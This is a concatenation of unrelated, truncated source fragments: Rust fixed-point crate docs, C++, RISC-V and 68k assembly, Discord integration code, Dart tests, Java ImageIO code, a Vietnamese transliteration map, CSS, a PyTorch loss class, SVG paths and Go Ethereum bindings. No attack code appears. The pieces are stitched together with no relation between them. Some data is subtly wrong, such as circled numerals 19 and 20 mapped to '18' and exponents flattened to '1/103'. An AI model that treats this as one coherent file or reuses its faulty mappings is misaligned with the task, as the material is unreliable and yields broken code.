in [FixedI32]\<[U0]>, Δ = 1 because representable
numbers are integers, and the difference between two successive integers is 1.
When f = n, Δ = 1/2n
and the value lies in the range −0.5 ≤ x < 0.5
for signed numbers like [FixedI32]\<[U32]>, and in the range
0 ≤ x < 1 for unsigned numbers like
[FixedU32]\<[U32]>.

In version 1 the [*typenum* crate] is used for the fractional bit count `Frac`;
the plan is to to have a major version 2 with const generics when the Rust
compiler’s [`generic_const_expr` feature] is ready and stabilized. An [alpha
version] is already available.

[`generic_const_expr` feature]: https://github.com/rust-lang/rust/issues/76560
[alpha version]: https://crates.io/crates/fixed/2.0.0-alpha.2

The main features are

  * Representation of binary fixed-point numbers up to 128 bits wide.
  * Conversions between fixed-point numbers and numeric primitives.
  * Comparisons between fixed-point numbers and numeric primitives.
  * Parsing from strings in decimal, binary, octal and hexadecimal.
  * Display as decimal, binary, octal and hexadecimal.
  * Arithmetic and logic operations.

This crate does *not* provide decimal fixed-point numbers. For example 0.001
cannot be represented exactly, as it is 1/103. It is binary fractions
like 1/24 (0.0625) that can be represented exactly, provided there
are enough fractional bits.

This crate does *not* provide general analytic functions.

  * No algebraic functions are provided, for example no `sqrt` or `pow`.
  * No trigonometric functions are provided, for example no `sin` or `cos`.
  * No other transcendental functions are provided, for example no `log` or
    `exp`.

These functions are not provided because different implementations can have
different trade-offs, for example trading some correctness for speed.
Implementations can be provided in other crates.

  * The [*fixed-sqrt* crate] provides the square root operation.
  * The [*cordic* crate] provides various functions implemented using the
    [CORDIC] algorithm.

The conversions supported cover the following cases.

  * Infallible lossless conversions between fixed-point numbers and numeric
    primitives are provided using [`From`] and [`Into`]. These never fail
    (infallible) and do not lose any bits (lossless).
  * Infallible lossy conversions between fixed-point numbers and numeric
    primitives are provided using the [`LossyFrom`] and [`LossyInto`] traits.
    The source can have more fractional bits than the destination.
  * Checked lossless conversions between fixed-point numbers and numeric
    primitives are provided using the [`LosslessTryFrom`] and
    [`LosslessTryInto`] traits. The source cannot have more fractional bits than
    the destination.
  * Checked conversions between fixed-point numbers and numeric primitives are
    provided using the [`FromFixed`] and [`ToFixed`] traits, or using the
    [`from_num`] and [`to_num`] methods and [their checked
    versions][`checked_from_num`].
  * Additionally, [`az`] casts are implemented for conversion between
    fixed-point nubmers and numeric primitives.
  * Fixed-point


#ifndef MenuGraph_h
#define MenuGraph_h

#include <list>         // std::list
#include <string>       // std::string
#include <sstream>      // std::stringstream

#include <menus/Menu.h> // Menu parent class
#include <lib/strdo.h>  // strdo::num_to_str

namespace simplemenu {
    class MenuGraph: public Menu {
        public:
            MenuGraph(Menu& parent);
            ~MenuGraph();

            void set_mode(std::string mode);

            void set_width(size_t size);
            void push(uint32_t);
            //void pop();

			void reset_max();
            void set_max(uint32_t max);
            uint32_t get_max() const;

            bool draw(bool cursor);
            void reset();

            Menu* up();
            Menu* down();
            Menu* click();
            Menu* doubleclick();
            Menu* hold();

            void set_up(Menu* m);
            void set_down(Menu* m);

        private:
            uint16_t max_y { 0 };
            std::list<uint32_t> data {};
			uint32_t max{ 0 };
			uint32_t overwrite_max{ 0 };
            double   multiplicator { 1.0 };
            std::string mode { "" };

            Menu* up_menu { nullptr };
            Menu* down_menu { nullptr };

            double calc_multiplicator();
            std::string build_headline();
    };
}
 #endif /* ifndef MenuGraph_h */


1 (controle de LED)

    ret                 # Retorna da função

# Função para definir o período do PWM
set_pwm_period:
    li t1, 0xC000000C   # Carrega o endereço do registrador de período do PWM em t1
    slli a1, a1, 16     # Desloca o valor de a1 (argumento) 16 bits para a esquerda
    or a0, a0, a1       # Combina os valores de a0 e a1
    sw a0, 0(t1)        # Armazena o valor de a0 (argumento) no endereço t1 (configuração do período do PWM)

    ret                 # Retorna da função

# Função para definir o ciclo de trabalho (duty cycle) do PWM
set_pwm_duty_cycle:
    li t1, 0xC0000010   # Carrega o endereço do registrador de ciclo de trabalho do PWM em t1
    slli a1, a1, 16     # Desloca o valor de a1 (argumento) 16 bits para a esquerda
    or a0, a0, a1       # Combina os valores de a0 e a1
    sw a0, 0(t1)        # Armazena o valor de a0 (argumento) no endereço t1 (configuração do ciclo de trabalho do PWM)

    ret                 # Retorna da função

# Função para habilitar/desabilitar o PWM
config_gpio_as_pwm:
    li t1, 0xC0000008   # Carrega o endereço do registrador de controle de habilitação do PWM em t1
    sw a0, 0(t1)        # Armazena o valor de a0 (argumento) no endereço t1 (controle de habilitação do PWM)

    ret                 # Retorna da função


message);
}

static void handleDiscordError(int errcode, const char* message)
{
	Printf("\nDiscord: error (%d: %s)\n", errcode, message);
}

static void handleDiscordSpectate(const char* secret)
{
	Printf("\nDiscord: spectate (%s)\n", secret);
}

static void handleDiscordJoin(const char* secret)
{
	Printf("\nDiscord: join (%s)\n", secret);
}

static void handleDiscordJoinRequest(const DiscordUser* request)
{
	// we can't join in-game
	int response = DISCORD_REPLY_NO;
	Discord_Respond(request->userId, response);
	Printf("\nDiscord: join request from %s#%s - %s\n",
		request->username,
		request->discriminator,
		request->userId);
}

void I_UpdateDiscordPresence(bool SendPresence, const char* curstatus, const char* appid, const char* steamappid)
{
	const char* curappid = DEFAULT_DISCORD_APP_ID;

	if (appid && appid[0] != '\0')
		curappid = appid;

	if (!didInit && !SendPresence)
		return;	// we haven't initted, there's nothing to do here, just exit

	if (!didInit)
	{
		didInit = true;
		DiscordEventHandlers handlers;
		memset(&handlers, 0, sizeof(handlers));
		handlers.ready = handleDiscordReady;
		handlers.disconnected = handleDiscordDisconnected;
		handlers.errored = handleDiscordError;
		handlers.joinGame = handleDiscordJoin;
		handlers.spectateGame = handleDiscordSpectate;
		handlers.joinRequest = handleDiscordJoinRequest;
		Discord_Initialize(curappid, &handlers, 1, steamappid);
	}

	if (SendPresence)
	{
		DiscordRichPresence discordPresence;
		memset(&discordPresence, 0, sizeof(discordPresence));
		discordPresence.state = "Playing";
		if (!StartTime)
			StartTime = time(0);
		discordPresence.startTimestamp = StartTime;
		discordPresence.details = curstatus;
		discordPresence.largeImageKey = "game-image";
		discordPresence.instance = 0;
		Discord_UpdatePresence(&discordPresence);
	}
	else
	{
		Discord_ClearPresence();
	}
}

/*
** thingdef_data.cpp
**
** DECORATE data tables
**
**---------------------------------------------------------------------------
** Copyright 2002-2008 Christoph Oelckers
** Copyright 2004-2008 Randy Heit
** All rights reserved.
**
** Redistribution and use in source and binary forms, with or without
** modification, are permitted provided that the following conditions
** are met:
**
** 1. Redistributions of source code must retain the above copyright
**    notice, this list of conditions and the following disclaimer.
** 2. Redistributions in binary form must reproduce the above copyright
**    notice, this list of conditions and the following disclaimer in the
**    documentation and/or other materials provided with the distribution.
** 3. The name of the author may not be used to endorse or promote products
**    derived from this software without specific prior written permission.
**
** THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
** IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
** OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
** IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
** INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
** NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY


rtersyncState.toSql(SyncType.synchronized),
            ConfigTable.$convertersyncState.toSql(SyncType.locallyCreated),
          ]),
    );
  });
}
import 'package:drift/drift.dart';
import 'package:mockito/mockito.dart';
import 'package:test/test.dart';

import '../../generated/custom_tables.dart';
import '../../generated/todos.dart';
import '../../test_utils/test_utils.dart';

class _UnknownExpr extends Expression {
  @override
  void writeInto(GenerationContext context) {
    context.buffer.write('???');
  }
}

void main() {
  test('precedence ordering', () {
    expect(Precedence.plusMinus < Precedence.mulDivide, isTrue);
    expect(Precedence.unary <= Precedence.unary, isTrue);
    expect(Precedence.postfix >= Precedence.bitwise, isTrue);
    expect(Precedence.postfix > Precedence.primary, isFalse);
  });

  test('puts parentheses around expressions with unknown precedence', () {
    final expr = _UnknownExpr().equalsExp(_UnknownExpr());
    expect(expr, generates('(???) = (???)'));
  });

  test('generates parentheses for OR in AND', () {
    final c = CustomExpression<String>('c', precedence: Precedence.primary);
    final expr =
        (c.equals('A') | c.equals('B')) & (c.equals('C') | c.equals(''));
    expect(
        expr,
        generates(
            '(c = ? OR c = ?) AND (c = ? OR c = ?)', ['A', 'B', 'C', '']));
  });

  test('generates cast expressions', () {
    const expr = CustomExpression<int>('c');

    expect(expr.cast<String>(), generates('CAST(c AS TEXT)'));
    expect(expr.cast<int>(), generates('CAST(c AS INTEGER)'));
    expect(expr.cast<bool>(), generates('CAST(c AS INTEGER)'));
    expect(expr.cast<DateTime>(), generates('CAST(c AS INTEGER)'));
    expect(expr.cast<double>(), generates('CAST(c AS REAL)'));
    expect(expr.cast<Uint8List>(), generates('CAST(c AS BLOB)'));
  });

  test('generates subqueries', () {
    final db = TodoDb();

    expect(
        subqueryExpression<String>(
            db.selectOnly(db.users)..addColumns([db.users.name])),
        generates('(SELECT "users"."name" AS "users.name" FROM "users")'));
  });

  test('does not allow subqueries with more than one column', () {
    final db = TodoDb();

    expect(
        () => subqueryExpression<String>(db.select(db.users)),
        throwsA(isArgumentError.having((e) => e.message, 'message',
            contains('Must return exactly one column'))));
  });

  test('does not count columns with useColumns: false', () {
    // Regression test for https://github.com/simolus3/drift/issues/1189
    final db = TodoDb();

    expect(
      subqueryExpression<String>(db.selectOnly(db.users)
        ..addColumns([db.users.name])
        ..join([
          innerJoin(db.categories, db.categories.id.equalsExp(db.users.id),
              useColumns: false)
        ])),
      generates('(SELECT "users"."name" AS "users.name" FROM "users" '
          'INNER JOIN "categories" ON "categories"."id" = "users"."id")'),
    );
  });

  group('rowId', () {
    test('cannot be used on virtual tables', () {
      final custom = CustomTablesDb(MockExecutor());
      expect(() => custom.email.rowId, throwsArgumentError);
    });

    test('cannot be used on tables WITHOUT ROWID', () {
      final custom = CustomTablesDb(MockExecutor());


ColorModel and SampleModel.
     * If not, an IIOException will be thrown.
     * @param writer The provided ImageWriter.
     * @param colorModel The provided ColorModel.
     * @param sampleModel The provided SampleModel.
     * @throws IIOException If the writer cannot encoded the provided image.
     */
    public static final void canEncodeImage(ImageWriter writer,
                                            ColorModel colorModel,
                                            SampleModel sampleModel)
        throws IIOException {
        ImageTypeSpecifier type = null;
        if (colorModel != null && sampleModel != null)
            type = new ImageTypeSpecifier(colorModel, sampleModel);
        canEncodeImage(writer, type);
    }

    /**
     * Returns whether the image has contiguous data across rows.
     */
    public static final boolean imageIsContiguous(RenderedImage image) {
        SampleModel sm;
        if(image instanceof BufferedImage) {
            WritableRaster ras = ((BufferedImage)image).getRaster();
            sm = ras.getSampleModel();
        } else {
            sm = image.getSampleModel();
        }

        if (sm instanceof ComponentSampleModel) {
            // Ensure image rows samples are stored contiguously
            // in a single bank.
            ComponentSampleModel csm = (ComponentSampleModel)sm;

            if (csm.getPixelStride() != csm.getNumBands()) {
                return false;
            }

            int[] bandOffsets = csm.getBandOffsets();
            for (int i = 0; i < bandOffsets.length; i++) {
                if (bandOffsets[i] != i) {
                    return false;
                }
            }

            int[] bankIndices = csm.getBankIndices();
            for (int i = 0; i < bandOffsets.length; i++) {
                if (bankIndices[i] != 0) {
                    return false;
                }
            }

            return true;
        }

        // Otherwise true if and only if it's a bilevel image with
        // a MultiPixelPackedSampleModel, 1 bit per pixel, and 1 bit
        // pixel stride.
        return ImageUtil.isBinary(sm);
    }
}
/*
 * Copyright 2005 Sun Microsystems, Inc.  All Rights Reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 only, as
 * published by the Free Software Foundation.  Sun designates this
 * particular file as subject to the "Classpath" exception as provided
 * by Sun in the LICENSE file that accompanied this code.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 *
 * Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara,
 * CA 95054 USA or visit www.sun.com if you need additional information or
 * have any questions.
 */

package com.sun.imageio.plugins.gif;

import java.io.UnsupportedEncodingException;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import javax.imageio.ImageTypeSpecifier;
import javax.imageio.metadata.IIOInvalidTreeException;
import javax.imageio.metadata.IIOMetadata;
import javax.imageio.metadata


    "ơ": "o",
        "Ơ": "O",
        "ớ": "o",
        "Ớ": "O",
        "ờ": "o",
        "Ờ": "O",
        "ợ": "o",
        "Ợ": "O",
        "ỡ": "o",
        "Ỡ": "O",
        "Ở": "o",
        "ở": "o",
        "ị": "i",
        "Ị": "I",
        "ĩ": "i",
        "Ĩ": "I",
        "ỉ": "i",
        "Ỉ": "i",
        "ủ": "u",
        "Ủ": "U",
        "ụ": "u",
        "Ụ": "U",
        "ũ": "u",
        "Ũ": "U",
        "ư": "u",
        "Ư": "U",
        "ứ": "u",
        "Ứ": "U",
        "ừ": "u",
        "Ừ": "U",
        "ự": "u",
        "Ự": "U",
        "ữ": "u",
        "Ữ": "U",
        "ử": "u",
        "Ử": "ư",
        "ỷ": "y",
        "Ỷ": "y",
        "ỳ": "y",
        "Ỳ": "Y",
        "ỵ": "y",
        "Ỵ": "Y",
        "ỹ": "y",
        "Ỹ": "Y",
        "ạ": "a",
        "Ạ": "A",
        "ấ": "a",
        "Ấ": "A",
        "ầ": "a",
        "Ầ": "A",
        "ậ": "a",
        "Ậ": "A",
        "ẫ": "a",
        "Ẫ": "A",
        // 'ă': 'a', // duplicate
        // 'Ă': 'A', // duplicate
        "ắ": "a",
        "Ắ": "A",
        "ằ": "a",
        "Ằ": "A",
        "ặ": "a",
        "Ặ": "A",
        "ẵ": "a",
        "Ẵ": "A",
        "⓪": "0",
        "①": "1",
        "②": "2",
        "③": "3",
        "④": "4",
        "⑤": "5",
        "⑥": "6",
        "⑦": "7",
        "⑧": "8",
        "⑨": "9",
        "⑩": "10",
        "⑪": "11",
        "⑫": "12",
        "⑬": "13",
        "⑭": "14",
        "⑮": "15",
        "⑯": "16",
        "⑰": "17",
        "⑱": "18",
        "⑲": "18",
        "⑳": "18",
        "⓵": "1",
        "⓶": "2",
        "⓷": "3",
        "⓸": "4",
        "⓹": "5",
        "⓺": "6",
        "⓻": "7",
        "⓼": "8",
        "⓽": "9",
        "⓾": "10",
        "⓿": "0",
        "⓫": "11",
        "⓬": "12",
        "⓭": "13",
        "⓮": "14",
        "⓯": "15",
        "⓰": "16",
        "⓱": "17",
        "⓲": "18",
        "⓳": "19",
        "⓴": "20",
        "Ⓐ": "A",
        "Ⓑ": "B",
        "Ⓒ": "C",
        "Ⓓ": "D",
        "Ⓔ": "E",
        "Ⓕ": "F",
        "Ⓖ": "G",
        "Ⓗ": "H


using System;
using Statiq.Common;
using Statiq.Feeds.Syndication.Atom;
using Statiq.Feeds.Syndication.Rdf;
using Statiq.Feeds.Syndication.Rss;

namespace Statiq.Feeds.Syndication
{
    public class FeedType
    {
        public static readonly FeedType Rdf = new FeedType(
            source => new RdfFeed(source),
            MediaTypes.Get(".rdf") ?? MediaTypes.Xml);

        public static readonly FeedType Rss = new FeedType(
            source => new RssFeed(source),
            MediaTypes.Get(".rss") ?? MediaT


atex .textbb {
  font-family: KaTeX_AMS;
}
.katex .mathcal {
  font-family: KaTeX_Caligraphic;
}
.katex .mathfrak,
.katex .textfrak {
  font-family: KaTeX_Fraktur;
}
.katex .mathtt {
  font-family: KaTeX_Typewriter;
}
.katex .mathscr,
.katex .textscr {
  font-family: KaTeX_Script;
}
.katex .mathsf,
.katex .textsf {
  font-family: KaTeX_SansSerif;
}
.katex .mathboldsf,
.katex .textboldsf {
  font-family: KaTeX_SansSerif;
  font-weight: bold;
}
.katex .mathitsf,
.katex .textitsf {
  font-family: KaTeX_SansSerif;
  font-style: italic;
}
.katex .mainrm {
  font-family: KaTeX_Main;
  font-style: normal;
}
.katex .vlist-t {
  display: inline-table;
  table-layout: fixed;
  border-collapse: collapse;
}
.katex .vlist-r {
  display: table-row;
}
.katex .vlist {
  display: table-cell;
  vertical-align: bottom;
  position: relative;
}
.katex .vlist > span {
  display: block;
  height: 0;
  position: relative;
}
.katex .vlist > span > span {
  display: inline-block;
}
.katex .vlist > span > .pstrut {
  overflow: hidden;
  width: 0;
}
.katex .vlist-t2 {
  margin-right: -2px;
}
.katex .vlist-s {
  display: table-cell;
  vertical-align: bottom;
  font-size: 1px;
  width: 2px;
  min-width: 2px;
}
.katex .vbox {
  display: -ms-inline-flexbox;
  display: inline-flex;
  -ms-flex-direction: column;
  flex-direction: column;
  align-items: baseline;
}
.katex .hbox {
  display: -ms-inline-flexbox;
  display: inline-flex;
  -ms-flex-direction: row;
  flex-direction: row;
  width: 100%;
}
.katex .thinbox {
  display: inline-flex;
  flex-direction: row;
  width: 0;
  max-width: 0;
}
.katex .msupsub {
  text-align: left;
}
.katex .mfrac > span > span {
  text-align: center;
}
.katex .mfrac .frac-line {
  display: inline-block;
  width: 100%;
  border-bottom-style: solid;
}
.katex .mfrac .frac-line,
.katex .overline .overline-line,
.katex .underline .underline-line,
.katex .hline,
.katex .hdashline,
.katex .rule {
  min-height: 1px;
}
.katex .mspace {
  display: inline-block;
}
.katex .llap,
.katex .rlap,
.katex .clap {
  width: 0;
  position: relative;
}
.katex .llap > .inner,
.katex .rlap > .inner,
.katex .clap > .inner {
  position: absolute;
}
.katex .llap > .fix,
.katex .rlap > .fix,
.katex .clap > .fix {
  display: inline-block;
}
.katex .llap > .inner {
  right: 0;
}
.katex .rlap > .inner,
.katex .clap > .inner


import torch
import torch.nn.functional as F
from nemo.backends.pytorch.nm import LossNM
from nemo.core.neural_types import *
from nemo.utils.decorators import add_port_docs

class OnlineTripletLoss(LossNM):
    """
    Online Triplet loss
    Takes a batch of embeddings and corresponding labels.
    Triplets are generated using triplet_selector object that take embeddings and targets and return indices of
    triplets
    """

    @property
    @add_port_docs()
    def input_ports(self):
        """Returns definitions of module input ports.
        """
        return {
            "embeds": NeuralType(('B', 'D', 'T'), AcousticEncodedRepresentation()),
            "targets": NeuralType('B', LabelsType()),
        }

    @property
    @add_port_docs()
    def output_ports(self):
        """Returns definitions of module output ports.
        loss:
            NeuralType(LossType)
        """
        return {"loss": NeuralType(elements_type=LossType())}

    def __init__(self, margin, triplet_selector):
        super().__init__()
        self.margin = margin
        self.triplet_selector = triplet_selector

    def _loss(self, embeddings, target):
        embeddings = torch.flatten(embeddings, start_dim=-2)
        triplets = self.triplet_selector.get_triplets(embeddings, target)

        if embeddings.is_cuda:
            triplets = triplets.cuda()

        ap_distances = (embeddings[triplets[:, 0]] - embeddings[triplets[:, 1]]).pow(2).sum(1)  # .pow(.5)
        an_distances = (embeddings[triplets[:, 0]] - embeddings[triplets[:, 2]]).pow(2).sum(1)  # .pow(.5)
        losses = F.relu(ap_distances - an_distances + self.margin)

        return losses.mean()

    def _loss_function(self, **kwargs):
        return self._loss(*(kwargs.values()))


,635.199 237.261,635.199L80.946,635.199C77.25,635.199 74.253,632.202 74.253,628.506L74.253,601.734Z"
                            style="fill:none;stroke:black;stroke-width:2px;"></path>
                        <path
                            d="M87.167,614.058L85.667,614.058L85.667,612.824L87.167,612.824L87.167,611.933C87.167,611.423 87.281,610.98 87.511,610.605C87.75,610.22 88.068,609.923 88.464,609.714C88.86,609.506 89.297,609.402 89.776,609.402C90.235,609.402 90.636,609.464 90.979,609.589L90.979,610.918C90.781,610.845 90.594,610.787 90.417,610.746C90.25,610.694 90.052,610.668 89.823,610.668C89.469,610.668 89.162,610.793 88.901,611.043C88.651,611.293 88.526,611.642 88.526,612.089L88.526,612.824L90.62,612.824L90.62,614.058L88.526,614.058L88.526,620.98L87.167,620.98L87.167,614.058ZM95.547,621.23C94.745,621.23 94.021,621.043 93.376,620.668C92.74,620.282 92.245,619.761 91.891,619.105C91.537,618.438 91.36,617.704 91.36,616.902C91.36,616.1 91.537,615.371 91.891,614.714C92.245,614.048 92.74,613.522 93.376,613.136C94.021,612.751 94.745,612.558 95.547,612.558C96.349,612.558 97.068,612.751 97.704,613.136C98.349,613.522 98.849,614.048 99.204,614.714C99.558,615.371 99.735,616.1 99.735,616.902C99.735,617.704 99.558,618.438 99.204,619.105C98.849,619.761 98.349,620.282 97.704,620.668C97.068,621.043 96.349,621.23 95.547,621.23ZM95.547,620.011C96.047,620.011 96.511,619.886 96.938,619.636C97.376,619.376 97.724,619.011 97.985,618.543C98.245,618.074 98.376,617.527 98.376,616.902C98.376,616.267 98.245,615.714 97.985,615.246C97.724,614.777 97.376,614.418 96.938,614.168C96.511,613.918 96.047,613.793 95.547,613.793C95.047,613.793 94.579,613.918 94.141,614.168C93.704,614.418 93.355,614.777 93.094,615.246C92.834,615.714 92.704,616.267 92.704,616.902C92.704,617.527 92.834,618.074 93.094,618.543C93.355,619.011 93.704,619.376 94.141,619.636C94.579,619.886 95.047,620.011 95.547,620.011ZM101.173,612.824L102.455,612.824L102.455,614.136L102.533,614.136C102.689,613.688 102.996,613


help}
pre[data-line]{position:relative;padding:1em 0 1em 3em}.line-highlight{position:absolute;left:0;right:0;padding:inherit 0;margin-top:1em;background:hsla(24,20%,50%,.08);background:linear-gradient(to right,hsla(24,20%,50%,.1) 70%,hsla(24,20%,50%,0));pointer-events:none;line-height:inherit;white-space:pre}@media print{.line-highlight{-webkit-print-color-adjust:exact;color-adjust:exact}}.line-highlight:before,.line-highlight[data-end]:after{content:attr(data-start);position:absolute;top:.4em;left:.6em;min-width:1em;padding:0 .5em;background-color:hsla(24,20%,50%,.4);color:#f4f1ef;font:bold 65%/1.5 sans-serif;text-align:center;vertical-align:.3em;border-radius:999px;text-shadow:none;box-shadow:0 1px #fff}.line-highlight[data-end]:after{content:attr(data-end);top:auto;bottom:.4em}.line-numbers .line-highlight:after,.line-numbers .line-highlight:before{content:none}pre[id].linkable-line-numbers span.line-numbers-rows{pointer-events:all}pre[id].linkable-line-numbers span.line-numbers-rows>span:before{cursor:pointer}pre[id].linkable-line-numbers span.line-numbers-rows>span:hover:before{background-color:rgba(128,128,128,.2)}
pre[class*=language-].line-numbers{position:relative;padding-left:3.8em;counter-reset:linenumber}pre[class*=language-].line-numbers>code{position:relative;white-space:inherit}.line-numbers .line-numbers-rows{position:absolute;pointer-events:none;top:0;font-size:100%;left:-3.8em;width:3em;letter-spacing:-1px;border-right:1px solid #999;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.line-numbers-rows>span{display:block;counter-increment:linenumber}.line-numbers-rows>span:before{content:counter(linenumber);color:#999;display:block;padding-right:.8em;text-align:right}
.table thead th.right, .table tr td.right {
    text-align: right;
}

.table th {
    font-weight: normal;
    text-transform: uppercase;
    font-size: var(--font-size-s);
    border-top: 0;
    color: var(--kanban-col-title-color);
    background:var(--col-content-bg);

}

.table th.centeralign, .table td.centeralign {
    text-align: center;
}

.table.table-bordered th {
    border-color: var(--neutral);
}

.table .con0 {
}

.table .con1 {
}

.table tr.even {
    background:var(--col-row-striped);
}

.table-bordered th,
.table-bordered td {
    border-right: 0px solid var(--neutral);
    border-left:0px;
    box-shadow: 0px 1px 1px var(--neutral);
}

.table-bordered th:last-child,
.table-bordered td:last-child {
    border-right: 0px solid var(--neutral);
}

.dataTable {
    margin-bottom: 0;
}

.dataTable th,
.dataTable td {
    font-size: var(--base-font-size);
}

.dataTables_wrapper {
    position: relative;
    padding-bottom: 20px;
}

.simpleAccordi


 infos
}

// FilterDeploy is a free log retrieval operation binding the contract event 0x149208daa30a9306858cc9c171c3510e0e50ab5d59ed2027a37a728430dd02e4.
//
// Solidity: event Deploy(bytes32 indexed virtAddr)
func (_VirtContractResolver *VirtContractResolverFilterer) FilterDeploy(opts *bind.FilterOpts, virtAddr [][32]byte) (*VirtContractResolverDeployIterator, error) {

	var virtAddrRule []interface{}
	for _, virtAddrItem := range virtAddr {
		virtAddrRule = append(virtAddrRule, virtAddrItem)
	}

	logs, sub, err := _VirtContractResolver.contract.FilterLogs(opts, "Deploy", virtAddrRule)
	if err != nil {
		return nil, err
	}
	return &VirtContractResolverDeployIterator{contract: _VirtContractResolver.contract, event: "Deploy", logs: logs, sub: sub}, nil
}

// WatchDeploy is a free log subscription operation binding the contract event 0x149208daa30a9306858cc9c171c3510e0e50ab5d59ed2027a37a728430dd02e4.
//
// Solidity: event Deploy(bytes32 indexed virtAddr)
func (_VirtContractResolver *VirtContractResolverFilterer) WatchDeploy(opts *bind.WatchOpts, sink chan<- *VirtContractResolverDeploy, virtAddr [][32]byte) (event.Subscription, error) {

	var virtAddrRule []interface{}
	for _, virtAddrItem := range virtAddr {
		virtAddrRule = append(virtAddrRule, virtAddrItem)
	}

	logs, sub, err := _VirtContractResolver.contract.WatchLogs(opts, "Deploy", virtAddrRule)
	if err != nil {
		return nil, err
	}
	return event.NewSubscription(func(quit <-chan struct{}) error {
		defer sub.Unsubscribe()
		for {
			select {
			case log := <-logs:
				// New log arrived, parse the event and forward to the user
				event := new(VirtContractResolverDeploy)
				if err := _VirtContractResolver.contract.UnpackLog(event, "Deploy", log); err != nil {
					return err
				}
				event.Raw = log

				select {
				case sink <- event:
				case err := <-sub.Err():
					return err
				case <-quit:
					return nil
				}
			case err := <-sub.Err():
				return err
			case <-quit:
				return nil
			}
		}
	}), nil
}

// ParseDeploy is a log parse operation binding the contract event 0x149208daa30a9306858cc9c171c3510e0e50ab5d59ed2027a37a728430dd02e4.
//
// Solidity: event Deploy(bytes32 indexed virtAddr)
func (_VirtContractResolver *VirtContractResolverFilterer) ParseDeploy(log types.Log) (*VirtContractResolverDeploy, error) {
	event := new(VirtContractResolverDeploy)
	if err := _VirtContractResolver.contract.UnpackLog(event, "Deploy", log); err != nil {
		return nil, err
	}
	return event, nil
}
// Code generated - DO NOT EDIT.
// This file is a generated binding and any manual changes will be lost.

package ethpool

import (
	"math/big"
	"strings"

	ethereum "github.com/ethereum/go-ethereum"
	"github.com/ethereum/go-ethereum/accounts/abi"
	"github.com/ethereum/go-ethereum/accounts/abi/bind"
	"github.com/ethereum/go-ethereum/common"
	"github.com/ethereum/go-ethereum/core/types"
	"github.com/ethereum/go-ethereum/event"
)

// Reference imports to suppress errors if they are


		_do._if( _get._eq(_var.value % _var.divisor, 0),
				function()
					_do._fn.printf("%d ", _var.divisor)
					_var.value = _var.value / _var.divisor
				end,
				function()
					_var.divisor = _var.divisor + 1
				end)
		end)
		_do._fn.printf("\n")
	end)

	_fn.main = _fn(_type.int32, {_type.int32, _type.int8.ptr.ptr}, function(argc, argv)
		_do._if( _get._eq(argc, 2),
			function()
				_do._fn.printFactors( _fn.atoi( argv[1] ) )
				_do._return(0)
			end,
			function()
				_do._fn.printf("Please enter exactly one number as argument\n")
				_do._return(1)
			end)
	end)
end):emit()


using AutoMapper;
using BookExchange.Application.Books.Commands;
using BookExchange.Application.Books.Queries;
using BookExchange.Application.Common.Exceptions;
using BookExchange.Domain.Commands;
using BookExchange.Domain.DTOs;
using BookExchange.Domain.Filter;
using BookExchange.Domain.Models;
using BookExchange.Domain.Queries;
using BookExchange.Domain.Wrappers;
using MediatR;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;

namespace BookExchange.API.Controllers
{
     [Route("api/[controller]")]
     [ApiController]
     public class BookController : ControllerBase
     {
          private readonly IMediator _mediator;
          private readonly IMapper _mapper;

          public BookController(IMediator mediator, IMapper mapper)
          {
               _mediator = mediator;
               _mapper = mapper;
          }

          [HttpGet("{id}")]
          [AllowAnonymous]
          public async Task<IActionResult> Get(int id, bool includeDetails) {
               var book = await _mediator.Send(new GetBookQuery { Id=id, IncludeDetails=includeDetails });
               var bookDto = _mapper.Map<BookDto>(book);

               return Ok(bookDto);
          }

          [HttpGet]
          [AllowAnonymous]
          public async Task<IActionResult> GetAll([FromQuery] BooksFilter bookFilter) {
               GetBooksQuery query = _mapper.Map<GetBooksQuery>(bookFilter);
               var result = await _mediator.Send(query);

               return Ok(result);
          }


offset
		MOVE.W Vfreqint(A5),D6
		MOVE.L Vfreqfrac(A5),A2		; frac.w/int.w freq

		MOVE.L Vaddr(A6),A1
		MOVE.L Voffy(A6),D1
		MOVE.L Vfrac(A6),D5
		MOVE.W Vfreqint(A6),D7
		MOVE.L Vfreqfrac(A6),A3
		SWAP D6

		MOVE.L Vlpaddr(A5),lpvc1steb+2+2	; loop for voice 1
		MOVE.L Vlpoffy(A5),lpvc1steb+8+2
		MOVE.L Vlpfreqfrac(A5),lpvc1steb+14+2
		MOVE.W Vlpfreqint(A5),lpvc1steb+20+2

		MOVE.L Vlpaddr(A6),lpvc2steb+2+2 ; loop for voice 1
		MOVE.L Vlpoffy(A6),lpvc2steb+8+2
		MOVE.L Vlpfreqfrac(A6),lpvc2steb+14+2
		MOVE.W Vlpfreqint(A6),lpvc2steb+20+2

		LEA ciaem_tab(PC),A4
